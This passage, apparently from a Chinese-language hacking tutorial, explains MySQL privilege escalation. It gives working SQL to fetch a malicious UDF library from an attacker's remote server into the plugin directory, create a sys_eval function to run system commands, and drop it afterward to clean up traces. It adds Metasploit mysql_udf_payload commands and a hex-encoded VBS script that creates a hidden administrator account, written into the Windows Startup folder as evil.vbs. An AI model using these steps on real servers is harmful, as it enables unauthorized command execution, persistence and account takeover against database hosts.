还有一个巧妙的方法便是利用load_file()函数,该函数支持远程加载,我们可以将UDF文件放在vps上,执行如下命令让目标机远程加载该文件并下载到指定目录里:
select load_file('\\47.xxx.xxx.72udf.so') into dumpfile "/www/server/mysql/lib/plugin/udf.so"(四)引入UDF函数并调用函数执行系统命令
引入的方法如下:
create function sys_eval returns string soname 'udf.so';
sys_eval:我们要引入的函数名。
udf.dll:我们要从中引入函数的链接库文件。
成功引入该函数后,我们便可以像执行其他MySQL内置函数一样去使用该函数了:
select sys_eval('whoami');如下图所示,命令执行成功:
(5)清理痕迹
删除自定义函数:
drop function sys_eval;**注意:**还是那个问题,linux系统的权限管理太严了,如果是Windows系统的话一般就是管理员权限了:
UDF提权在Metasploit下的利用
如果你觉得上面手动的方法麻烦的话,也可以利用metasploit中的exploit/multi/mysql/mysql_udf_payload模块实现自动化UDF函数注入,只适用于Windows系统:
使用如下:
use exploit/multi/mysql/mysql_udf_payload set rhosts 192.168.1.13 set username root set password root run
MSF会将一个随机命名的UDF文件写入lib/plugin目录下(如果该目录不存在的话,则无法执行成功),该UDF文件中包含sys_exec()和sys_eval()这两个函数,但是默认只创建sys_exec()函数,该函数执行并不会有回显。我们可以手动引入 sys_eval() 函数,来执行有回显的命令。
create function sys_eval returns string soname 'guuHCUiK.dll';
MySQL启动项提权
手动利用
所谓MySQL的启动项提权,就是将自定义的脚本写入到开机自启目录下,如果管理员重启了服务器,那么就会自动调用该脚本,并执行其中的用户添加及提权命令。这种提权也常见于 Windows 环境下,写入的脚本支持 vbs 和 exe 类型,可以利用 vbs 执行一些 CMD 命令,也可以使用 exe 上线 metasploit 或 cobalt strike。
VBS脚本的话最常见的就是创建一个管理员用户:
Set WshShell=WScript.CreateObject("WScript.Shell") WshShell.Run "net user whoami Liu78963 /add", 0 WshShell.Run "net localgroup administrators whoami /add", 0写入的方式与上文中讲的那几种方法一样,即先在本地将vbs脚本用mysql的hex()函数进行十六进制编码,然后利用into outfile...或into dumpfile写入:
select 0x536574205773685368656C6C3D575363726970742E4372656174654F626A6563742822575363726970742E5368656C6C22290D0A5773685368656C6C2E52756E20226E657420757365722077686F616D69204C69753738393633202F616464222C20300D0A5773685368656C6C2E52756E20226E6574206C6F63616C67726F75702061646D696E6973747261746F72732077686F616D69202F616464222C2030 into dumpfile 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\evil.vbs';
此时,如果管理员重启了服务器,那么就会自动调用该脚本,并执行其中的命令,如下图所示,常见管理员新用户“whoami”成功: